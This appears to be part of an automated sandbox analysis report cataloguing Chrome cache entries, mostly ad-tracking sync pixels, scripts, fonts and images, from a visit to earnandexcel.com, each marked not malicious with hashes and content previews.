u(t){return`${t}px`}function a(t){return CSS.escape(t)}var h="i-amphtml-fit-text-measurer",m="i-amphtml-fit-text-content",

Chrome Cache Entry: 916

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1914)
Category:	downloaded
Size (bytes):	3607
Entropy (8bit):	5.5952573028214845
Encrypted:	false
SSDEEP:	96:uKEhr3XCUq3yO3JovVkESj4xSqIS2C0XBPZxLCpM:ZEhrCUVueK4AqaLl
MD5:	83063E4D31B881F998A4BD32BA4C64F7
SHA1:	8DFBF18214C8A573FE77B92C702C6A0BBFE2DF00
SHA-256:	DDA313D7DB3E8E9F49ADEF5EE4663515C9B7722C3CDC5F59B7FD2ABA68F41C2E
SHA-512:	9156B20E736BBC55E18715F1589F1A6A09A975F4080F96A3013E35C9985AD88BA77BA00DEE1A4DD62CD3770B64F75B94D6957E1123ECA12C9BD1CAE9E6A5CE72
Malicious:	false
Reputation:	low
URL:	https://app.grow.me/iframe-login?siteId=a93bd662-05a1-4ce7-81ce-4c67bccef190&callback=https%3A%2F%2Fearnandexcel.com%2F
Preview:	<!DOCTYPE html><html><body><script>(()=>{var S="https://api.grow.me",I="grow-me-iframe-prod",c={BACKEND_BASE_URL:S,SNOWPLOW_TRACKER_NAMESPACE:I};function r(e){let o=document.cookie.match(`(^\|;)\\s${e}\\s=\\s([^;]+)`);return o?o.pop():""}function E(e){return new Date(Date.now()+Number(e)1e3).toUTCString()}var g="grow_unverified_reader_id",y="growme_has_logged_in",u="grow_check_third_party_cookie_support",_=window.location.hostname.split(".").slice(-2).join(".");_!=="localhost"&&(_=`.${_}`);function f({name:e,value:o}){let n=new Date;n.setTime(n.getTime()+15778463e4);let t=[`${e}=${o}`,`Domain=${_}`,"Path=/","SameSite=None","Secure",`Expires=${n.toUTCString()}`].filter(Boolean).join("; ");document.cookie=t}async function O(e,o){let{SNOWPLOW_COLLECTOR_URL:n,SNOWPLOW_APP_ID:t,SNOWPLOW_TRACKER_NAMESPACE:a}=o;try{await fetch(n,{method:"POST",headers:{"Content-Type":"application/json",Accept:"application/json"},body:JSON.stringify({schema:"iglu:com.snowplowanalytics.snowplow/payload_data/

Chrome Cache Entry: 917

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 16 tables, 1st "FFTM", 68 names, Macintosh
Category:	downloaded
Size (bytes):	125888
Entropy (8bit):	5.660568860553552
Encrypted:	false
SSDEEP:	1536:Rkm+UtyMHj0aKpandkRRHxQtmBd1gwcZhad/WU/OCBTu32Md8JSXASSS7qQ:JpbtWfxQtq1fcZhad/WU/Opd+SXArS7j
MD5:	8A85FA6FC211CFBEF765CD775328D469
SHA1:	19A51261741B249DC85571BC1B17EC90779CE520
SHA-256:	BF1B6DAF8AE3AEF777545DE00621F674F3619B97A99600C9D816E2B9232BEE3D
SHA-512:	45E1745A575D72CF8877FC6D89D3CDCE83F10B2A4B3BCEAE75500F48BA68BDAFFE2C42DFCB92BCEF4016CEF408F663B11C5B3E09C26A699A908680668B207BAD
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/Gordita-Regular.ttf
Preview:	............FFTM.q.........OS/2N.n........`cmapn.).........feat@3.....`...dgasp............glyf..o.........head.%.........6hhea.Q.....D...$hmtxO0.t........kern.?.........Jloca.Y.....D....maxp.4.o...h... morx8v..........name.}....@...\post...8......dprop].jf.......X........P.U._.<...........`9......i..D.....b.................(.......D.............................l.................@...................X...K...X...^.2.@................P...........UKWN.@. ...(.....(.. .............. .....Z.....M.........T...?.=.(.o.2.`.'...5...?...6.......1.O.2...D...K...D...#...:.......7...1.....v.....<.a.&...:...7.&.K...N...(.k.N...S...".a.8.......m.E.6.).m...m.{.m.Y.6.<.m.,.m.A.....m.G.m...m.X.m...6...m...6...m.t.1.......c.....{.............$...g...!...%.M.6.........8.3...X.X.1...2._.1.g.....2.x.X...E.....!.X...X...X.x.X...1...X...2.\|.X...).\|...x.R.H...b...'...R............g...&.b.H...J.].6...<...;...&...f...2.N.....7.6.Q.7./...>.g.5.x.....6...G...B...5.......c...&.%.K.....0...+.S.1.G.^.$.g.$...+...

Chrome Cache Entry: 918

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (577), with no line terminators
Category:	downloaded
Size (bytes):	577
Entropy (8bit):	5.4993716004403685
Encrypted:	false
SSDEEP:	12:C35JHlhpyJEpTa13zOSCH8JEpTC831Ahz5RmguxJEpTa135MD/JEpTAkDp:CpJHvpa1jOSCV5YPm0a1Cgtp
MD5:	EA1C05677854B0542EFC7892A121438F
SHA1:	E30A612286611DDED0A3CFB039D9BA85D4A2E281
SHA-256:	D5BDC6CAABD6592E37294D466012726FB4B47B29FC83DEAA9A47529DBCFB99CF
SHA-512:	D3A75317BDDF42D9D5C740EAD8A1C88867795D4CD42EEA8879C466F1B173C7233EE9DB8DFD3A3E2A6A7AEB1702D1C5B87D13C56FFA4D481EB8B94A250BD5B6BB
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=73563629&p=156212&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://bpi.rtactivate.com/tag/?id=20909&user_id=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://i.liadm.com/s/75145?bidder_id=195755&bidder_uuid=25F9549E-136A-47E9-9171-DA44C0E0D5E3');PubMatic.loadAsyncImagePixel('https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://io.narrative.io/?companyId=673&id=pubmatic_id:25F9549E-136A-47E9-9171-DA44C0E0D5E3.');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 919

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 100x100, components 3
Category:	dropped
Size (bytes):	1611
Entropy (8bit):	7.6451348613635535
Encrypted:	false
SSDEEP:	24:AEkg9h35WHhr087Y4qKqkLwYB29sNVg3sIQ9pMresSgxhb0CQxIcsRseG:Gg9LRDKqkLtB4eW3sIkPIwCGsOr
MD5:	8D8FA135C5237BC9B66FBB4524B8F0C7
SHA1:	BA5639040D47BFC9A0ACB6B76B8216C69FCB1742
SHA-256:	C0E172241AAD65EDC0674C75E2A2CCF00E3DABDA730964FC19BF8F1C6954C005
SHA-512:	E1E4A9D864C89C206BD3848F0BE56859C5A746316F0193A5CCD6F7910789725E2293B2C8BF3DFD251911F1CA8081FA9E920243B5C6786A304163BA5FBA10D8A2
Malicious:	false
Reputation:	low
Preview:	......JFIF..................................................."... ....3. %&444.'01-26.34(...........-"."'2222('-12)2.&-222/'-&/0-0-&-(2-'2'-&22(000-&-.(......d.d.."........................................7.......................!..1AQ.a"R...q.#2.......3b...................................-........................!1.AQaq.."$3..2b...............?....XD""...." ...""...." ..g.:r/QE...&.<JY..9y...%...Af..2-....IC....kG..%.#....w.M.....D8t..c.n...4.I..\.)...z-....l[....0..V....sM...-2.3..@.iCj...(RT...+...^.pz-..P.U.X.c..c.(.4....Pq..myJ.......M!...E1.9....m[.....h.r...K.3...-.Nt.^....l&.<JY.......f..XT&...7m......a.t,.aBhk.....wq.^..A.?...e<....E....R..St...3r...........n.=..#F1.O.....].M`.T/.J.hm...A`=O....!.Z..<...[o.....~.y.....l..~...-y..2......9..{.V.E.4...b<...w.'......y...n.<............12,.=...0..>.....-..r......Y...c.?d.5...i....w4.....nrLL..<o.b.\..Cb6YjSpg.....1Z5........uo.....5..p.#C....o.roq......\|...8..5k..<.(.+......G..q9...#.z..@..f.<M.

Chrome Cache Entry: 920

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	8032
Entropy (8bit):	4.770659937189529
Encrypted:	false
SSDEEP:	192:8whYNwpX1C4wEIAcCJYUDxzzPiKQSAOjDq:JY4X5zPiKQSC
MD5:	17E65401AE2DE9F50CCD74113F50C476
SHA1:	E9811336043EB2C3CC00D7A3C472406DD0B511BA
SHA-256:	A277F167248CCBBF09751D63867B3F258AA24629CEC669071319124906FE320E
SHA-512:	52099B0C15B470750507CD3C2B57D205EE2A9918D6EE84E966DBE789FD39C9D677C0700B77E50F54BBBD90489686ED6BAD6143C7D282A75B41FBEF16159D2D73
Malicious:	false
Reputation:	low
URL:	https://cdn.thinkific.com/assets/toga-css/1.1.13/fonts/toga-icons.css
Preview:	@font-face {. font-family: "toga-icons";. font-display: block;. src: url("toga-icons.eot?868a651e2bef4d0ff689085fd1480378?#iefix") format("embedded-opentype"),.url("toga-icons.woff2?868a651e2bef4d0ff689085fd1480378") format("woff2"),.url("toga-icons.woff?868a651e2bef4d0ff689085fd1480378") format("woff");.}...toga-icon {. display: inline-block;. speak: none;. font-style: normal;. font-weight: normal;. font-variant: normal;. text-transform: none;. line-height: 1;.. /* Better Font Rendering =========== */. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}...toga-icon:before {. font-family: toga-icons !important;. font-style: normal;. font-weight: normal !important;. vertical-align: top;.}...toga-icon-apps:before {. content: "\f101";.}..toga-icon-arrow-down:before {. content: "\f102";.}..toga-icon-arrow-grow:before {. content: "\f103";.}..toga-icon-arrow-left:before {. content: "\f104";.}..toga-icon-arrow-redo:before {. content: "\f105";.}..t

Chrome Cache Entry: 921

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17275)
Category:	downloaded
Size (bytes):	17337
Entropy (8bit):	5.394585024362846
Encrypted:	false
SSDEEP:	384:Hrrdfm+JdLEdA2m46UDteprqxDToiCov1k6hCwFDw+L:Lrk+JNEdA/RUJgrqxDdCodk6/U+L
MD5:	9E6109A6B48F70D909EADAE6CE96CD5C
SHA1:	18A14EBB9378D74E664A58D7899E6C8D2F6B764B
SHA-256:	9CA29B721B3B1C0213B7D60CD99FB9616AAE4575402F40A80D1FEB76D648E6ED
SHA-512:	875B8C24C7D8A59636E9358CD09388DCF213299692FB59E482F8FDAC58463DCBDE5EC110F4E4AB70D0E79FFA50DAC3904AED682926435C0F8240A4A05ED849EF
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/main.js
Preview:	/! For license information please see main.js.LICENSE.txt /.(()=>{"use strict";function t(t){var e=0;for(var r in t)t[r]&&e++;return e}var e=858;function r(r){var n,o,i,a=t(null===r\|\|void 0===r\|\|null===(n=r.purpose)\|\|void 0===n?void 0:n.consents),c=t(null===r\|\|void 0===r\|\|null===(o=r.purpose)\|\|void 0===o?void 0:o.legitimateInterests),u=null===r\|\|void 0===r\|\|null===(i=r.vendor)\|\|void 0===i\|\|null===(i=i.consents)\|\|void 0===i?void 0:i[e];return 10===a&&9===c&&u}function n(){return Math.floor(100*Math.random())}function o(t){const e={NODE_ENV:"production",PUBLIC_URL:"https://faves.grow.me",WDS_SOCKET_HOST:void 0,WDS_SOCKET_PATH:void 0,WDS_SOCKET_PORT:void 0,FAST_REFRESH:!0,REACT_APP_PACKAGE_VERSION:"7.239.1",SC_ATTR:"data-styled-grow-me",REACT_APP_USE_PERSISTED_QUERIES:"true",REACT_APP_SCRIPT_SRC_ROOT:"https://faves.grow.me",REACT_APP_BACKEND_BASE_URL:"https://api.grow.me",REACT_APP_LOGIN_REGISTER_BASE_URL:"https://app.grow.me",REACT_APP_FIREBASE_API_KEY:"AIzaSyC-jIuCQMNEDKPVWUI0QaC9ksxO

Chrome Cache Entry: 922

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1932
Entropy (8bit):	7.679337891626123
Encrypted:	false
SSDEEP:	48:+cKYjwZnXazDNe9u6v862JZW4KlzMuYmsP3P6FDES:+cLj6qzDNe9/8HJZK9sPSwS
MD5:	ED4CACE226C4468571CD09B117840BE3
SHA1:	492476EA7D038B50C5575BBD07CAF42016A6281B
SHA-256:	85C456D1E74575A3DFAACAA0B67DA18BBD945DEFF059E722C18FA877ED115BDD
SHA-512:	8260BEA745D8F1697649A2E994719B35E33C6CB2B9A8C001FC7EAE72F6610A5E56BE053B40028C5CCE7B948694FBFA470E04FB21B3316C91B03F94FA2981C0E6
Malicious:	false
Reputation:	low
URL:	https://i.vimeocdn.com/video/755015345-7542e26988b63a500ebdba9004653760cc84abd7f58b25bc3669f0bbc215c635-d?mw=80&q=85
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................r...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......P...-....pixi............av1C........colrnclx...........ipma..................zmdat......g...2.......b..:..P..7._...@+.B...@.R...+n.34..Uxm8%........d$._.Bp.+....0.......u.Zl.1J.....3 T.{{.............:.!.......q....H9.'.\|M=...&X.7.\|....!..7.L%.-O..@@~..K.\-h>Dsz...A....f..X...ZR.N.'0D5..vY.0!.....U.....[...H.qW..0../,......A.#b..o..\..c.G.hP<>N.~'.NO..Q.,8....${8M......<,..c.%cw.ObMe..."..=....+..m[../..%0.....=^~...._..J....{,A....:h....`.%.).rZ...}...L...M.O....}^........Y.jj..V.m..9....e..h..,.D.:z$B!...Z9.M.....q...... .z..C......r.M_....._I.6....uqL.?..X.v...N...H......jz.>..p.S..z.J.}......a\|t..n..S./S...L.D.pR0/.JY)/.#.g4v.'....J.......".;a=.p'....jn.I\.a....8"...e.o%....WrJ.^]....j.Sc*..<Xmf{=..%q....9g.....q/.8).U...7...a. ..a....-.Zq..(.<...A.

Chrome Cache Entry: 923

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 205 x 95, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8412
Entropy (8bit):	7.954481902172857
Encrypted:	false
SSDEEP:	192:tDkTuCALsN1U78vKXUUynilN3IjVWos5LKcAPwn:5vCBzUoBrMOVfZPI
MD5:	64DA6BCAF93BEF01C12A1BA3FB82B883
SHA1:	947EEEEC9BB61C7F59CB25F02D360776BDFCEE7A
SHA-256:	D27EF4A161BE6ACED1DC4818345E5138500A03121CDC32F665978D04BCBD4388
SHA-512:	92AF670F90DB007A40F695A3A9E8CDB460BCACFD95CECC97B0BA2A9F65F1A2456AA58AB66A323BD82EE24F4CC3C8EC51401F8AB8EA78459E1EE282A4723D6F32
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......._.....K.C!.. .IDATx..GH^K..%..!.#......=.A..........(.ND].SP..X@l.....7.".`....?p.:.....{..a..;}..o..v.R....H.R)4.B.R....J.Q.......T..J..T6%.F.RhT.F..))4.B.R)4.MI.Q....J.Q.lJ.)4...;..........mllX..3~.....---...2?.T...,t+(.....[.1.[........!.#..pI@9.'...j.Acq..Lwl. ewl....J./...J.2..qv.5.l....F.......@SSS400@..........FGG..!).4..H....k...OMMM...C......@NNN...Cz....g........bcc)--.:;;ihh.P@.......#77......{t...:..<.u..^.H..=.....O..'t..}.y.&..9s......2X!.=S.>4{.$p.D....J1,.?....px...}...`...._..7o...{G..g..;.....PEE..o..Y....%H.~G&.r.......h.W.C.}..8.........g.C.-.2..+e...g~..I<.c...n..Z@....[...[.../y....K.....fbb.d.d..........}.!...3.x....``X......k.@P..^.\|I.W@.\|.2...w###$...D?d..(..wa..//.LP...1..+/..[!.z..V...R.2.0..:E...(..=.-..F....sdn,.....96T+\.....E..!..6.1w...Frvv.+W....,l5...o../_......7.e....u./ ax..C_.~EY.{8....9....@.@$/a..@d<2&.).x.H..L..`....X..o...B{..+n.....x<33c......S[[....".. ...L.#.

Chrome Cache Entry: 924

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31398)
Category:	downloaded
Size (bytes):	104537
Entropy (8bit):	5.47397583324788
Encrypted:	false
SSDEEP:	1536:tYagKkecz5adbf0fT3+Zz8qV4dQcdnjtAP0wJFhRqSb6Cgn9hem+:B3uRfb+OqQpdnJ1wJF2KkheT
MD5:	7BE53F66BDF44D558733ED9981B68B8D
SHA1:	64AFC51982B5354564FDE75B80833BEB25E96F28
SHA-256:	1EB3D9CF83D497A5B9CEE415CC8399D3455B1553FD3F8E217C59667E4634CDD7
SHA-512:	E793DA2178DC4791DC1987039B84971A45D0541727EE5B64B20B0403C385866F8833B729B48CDF9DEC34B471281F624788AC5ABDC214E30DAC37E74436DE735B
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/static/topics/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <title>Topics Frame</title>. <meta. http-equiv="origin-trial". content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0=". />. <script>. ./.. Copyright 2022 Google LLC. SPDX-License-Identifier: Apache-2.0./.var m,aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find

Chrome Cache Entry: 925

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://u.openx.net/w/1.0/sd?id=559757357&val=5e156f163362ddb6814d&gdpr=0&gdpr_consent=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 926

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (14301)
Category:	downloaded
Size (bytes):	14613
Entropy (8bit):	5.42072136912928
Encrypted:	false
SSDEEP:	384:Is9t0S/g8UoDthaNyvhCCVKTKWhKPKiX2BKIQNv+bPKlRCLJT9Kpw:X7/DLDth68X22RR8Tz
MD5:	120B4FD6B9D87E3DEE1FD71FF82137B7
SHA1:	D86A86A69AB7477F25377E253242D305DA6493D2
SHA-256:	9F5B814F698DA2F9AF4DD56034A54C48E457EC1F1301828769FAFC493062D9F1
SHA-512:	3692A96DF177DE54FEF873130EF2CB2A6946F41AA3D4DC77A48C296975C02623FC43E26FE2AE22A134F7FF62BBA08C63B78DEADC034D0D9242576BF09B98CD3D
Malicious:	false
Reputation:	low
URL:	https://gum.criteo.com/syncframe?origin=publishertagids&topUrl=earnandexcel.com&us_privacy=1---&gpp=DBABzw~1---~BqgAAAAAAgA&gpp_sid=
Preview:	<!DOCTYPE html>.<html>.<head>. <script type="text/javascript">. window.CONFIG_CSM_DOMAIN_NAME = "csm.us5.us.criteo.net";. window.CONFIG_CSM_RATIO = 100;. window.GUM_DOMAIN = "gum.criteo.com";. </script>. <script type="text/javascript">. !function(){"use strict";var i=function(t,e){return(i=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])})(t,e)};function t(t,e){function n(){this.constructor=t}i(t,e),t.prototype=null===e?Object.create(e):(n.prototype=e.prototype,new n)}var e=function(){return(e=Object.assign\|\|function(t){for(var e,n=1,i=arguments.length;n<i;n++)for(var o in e=arguments[n])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t}).apply(this,arguments)};function n(r,s,a,l){return new(a=a\|\|Promise)(function(t,e){function n(t){try{o(l.next(t))}catch(t){e(t)}}function i(t){try{o(l.throw(t))}catch(t){e(t)}}function o(e){e.done?t(e.valu

Chrome Cache Entry: 927

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2196)
Category:	downloaded
Size (bytes):	2427
Entropy (8bit):	5.369825914108364
Encrypted:	false
SSDEEP:	48:s4b6P9LJTORopVmpUaw5mS9uNoMB06c6QOMpVmCeOQpVm2OwopVmx1pjO4pVm/:vb6P9LJTwyVma57hMB06c6Q5VmCebVmN
MD5:	C68B0FCE827192322C780D5AD9ECF933
SHA1:	3D074E8D5627A7D44E136EE5395DB220905B74A3
SHA-256:	731676DCA564B9D64A8C9F151286E58B3DBEE164DFE796D24DF62D93F358A572
SHA-512:	649DC96BCBCDF4B8E2C71289F328D8283B59A6DEB13706DA79C51BA402E2AC64C68F83328F466E8027663F4963FF9B1598794E5C7FF44F0C12F2D4633398E0D4
Malicious:	false
Reputation:	low
URL:	https://exchange.mediavine.com/usersync/sync?origin=https://earnandexcel.com&src=//exchange.mediavine.com&s2sVersion=production&mv_uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&version=invalidate-verizon-pushes&gdpr=0&us_privacy=1---&gppString=DBABzw~1---~BqgAAAAAAgA&p=%7B%22appnexus%22%3Atrue%2C%22gumgum%22%3Atrue%2C%22huddled_masses%22%3Atrue%2C%22indexExchange%22%3Atrue%2C%22kargo%22%3Atrue%2C%22mediadotnet%22%3Atrue%2C%22mediagrid%22%3Atrue%2C%22openx%22%3Atrue%2C%22pubmatic%22%3Atrue%2C%22pulsepoint%22%3Atrue%2C%22rubicon%22%3Atrue%2C%22smartmedia%22%3Atrue%2C%22sovrn%22%3Atrue%2C%22triplelift%22%3Atrue%2C%22verizon%22%3Atrue%2C%22yieldmo%22%3Atrue%2C%22centro%22%3Atrue%7D
Preview:	<script>. window.parent.postMessage({. message: 'syncUrls',. tokens: {"mv_uuid":"3a6574e0-f84a-11ee-a9d1-333cefc92741","version":"invalidate-verizon-pushes"},. syncUrls: [{"type":"iframe","url":"https://ads.pubmatic.com/AdServer/js/user_sync.html?p=157108&userIdMacro=PID&us_privacy=1---&gdpr=0&gdpr_consent=&predirect=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dpubmatic%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3DPID"},{"url":"https://ap.lijit.com/www/sovrn_beacon_standalone/sovrn_standalone_beacon.js?iid=12343702","type":"script"},{"url":"https://acdn.adnxs.com/dmp/async_usersync.html","type":"iframe"},{"type":"iframe","url":"https://u.openx.net/w/1.0/cm?id=7e872606-a65a-463e-adc2-6ddfd0bdaeea&ph=0fd68730-06b2-46ad-be0b-befc4c4f19d2&r=https://exchange.mediavine.com/usersync/redirect?partner=openx&uuid=3a6574e0-f84a-11ee-a9d1-333cefc92741&s2sVersion=production&partnerId="},{"url":"https://secu

Chrome Cache Entry: 928

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	110
Entropy (8bit):	4.337536763923197
Encrypted:	false
SSDEEP:	3:YXXL9AR3AEii6x2YoFXXqHL9ARxQEz6JGQN2ETAQgGL7:Yny3AEiTxhoFX6HyxpO7N2ETcm7
MD5:	EB115BED50B2627CEE601B94CE663FF7
SHA1:	88AD9DEC7CBB0D9CC3E781E8F1FE46E8BFD3B063
SHA-256:	512AB4BF1F2DDCD8AC5888DC2CF04EE7D0444181827EF1C806698ACBFB346449
SHA-512:	1258A8B98E09702F081F512AB7A3651DC6516B6AE61F341E616A4E7EF40014A53E33BFEC62B092B4EA236642831B288BE94805739C4C6E7DD7F442504D898E9A
Malicious:	false
Reputation:	low
URL:	https://api.grow.me/sites/a93bd662-05a1-4ce7-81ce-4c67bccef190/custom-translations?language=en
Preview:	{"recsInContentReadMoreLinkText":"Read More","recsInContentTitle":"Recommended","createSaveButtonText":"Save"}

Chrome Cache Entry: 929

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.345716594214023
Encrypted:	false
SSDEEP:	3:YIzJ6XnKm/DR0xy2/CF+X7IAm2Y:YIFiV0x/CFiIEY
MD5:	5BCD96DF69B201C99EA5E75151216076
SHA1:	D6F629D6168574DCD638DAA702F21E0DDDDB0A18
SHA-256:	69EED40DEB98731C799EEB501843942317AB1C8D04F7E7F55953F3674A92B694
SHA-512:	4FA145220D788F09A4A97F72B5363D453DFADF02476FD9D54E0B71CBBB2022F83F3D67BA70FE59CF0ED5EAFAAB73F676989A432B9C601BC919CDBE22EA9DF414
Malicious:	false
Reputation:	low
Preview:	{"message": "Number of recommendations must be provided (missing \"count\" parameter)"}

Chrome Cache Entry: 930

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	23
Entropy (8bit):	3.849223912390625
Encrypted:	false
SSDEEP:	3:jKC+IuJu:lGu
MD5:	2CF9C70D59CF58EA0DF1042EA8EB2CFC
SHA1:	73D3B76F00EB047E4FD3E88F6757A350DD1B4BA1
SHA-256:	E1C5C764F272B8D760C3DC6CA97FC3B22D0E3CE2BE43281CE2C6E8D89A6A8790
SHA-512:	7586B4286118F39D2D88605E0452B69E2325C3CF3687D5C11AAD0E305A049D600770D85D48530CA6D84E34C71B8C15F6CD1CEA73A8010CF19062E55D5657C71F
Malicious:	false
Reputation:	low
Preview:	Resource not available.

Chrome Cache Entry: 931

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	74
Entropy (8bit):	3.5096195010456768
Encrypted:	false
SSDEEP:	3:pQBHMwH4J0UHcYY4X++HUVwH4xUHcYT444:pQmy4J04cD8HMy4x4cV44
MD5:	21C4A5301F7ED4EBA999D33DA5088B74
SHA1:	19C555893ECFA82AA22CDA033F9AA8F1AC29E9AA
SHA-256:	042666EE3284F7864DD0AC0FDE9F2BC2F67ADFC48B1712D9F38B17D200C7BCE7
SHA-512:	3BB820C0E76CA6D669AF117EC46AAD3903ECDCEF8EB469B816D1DE461D43AA988C15254E1FC4E160276355226205F5892DEF02DA4CBC489DBCD76F7E1DA3B6A4
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/ima_ppub_config?ippd=https%3A%2F%2Fearnandexcel.com%2F%23
Preview:	[null,[[["1030006"],["22952122961"]]],[[["1030006",1],["22952122961",1]]]]

Chrome Cache Entry: 932

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=17404&endpoint=us-east
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 933

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	174
Entropy (8bit):	5.120823063561214
Encrypted:	false
SSDEEP:	3:jTqNHhOYNRjFETMLAtA9s3OYNRjFETMLAtA9kVRNiRZXURRfSkYeEZK8flfMeGDm:+hjNnojNnKriERK9FfMZDRFkiG
MD5:	E9A839EED71DACF4D025263590AA250B
SHA1:	EA4E4021674800CFEED4862F18505369AA30485A
SHA-256:	A9FB610D918134023F27F093F12F03A878DCC200E0B50CB8D3BFE32704BC6D92
SHA-512:	C17E42A4A136CBED115DC75CB9190167C1EA641475AB8A90C920C0F28E441D1C95B8873D45E6988AD9857514ECAB82F7E10EDA3B9B3FA3DFC908252BED092A77
Malicious:	false
Reputation:	low
URL:	https://faves.grow.me/144.4af86fd3.chunk.js
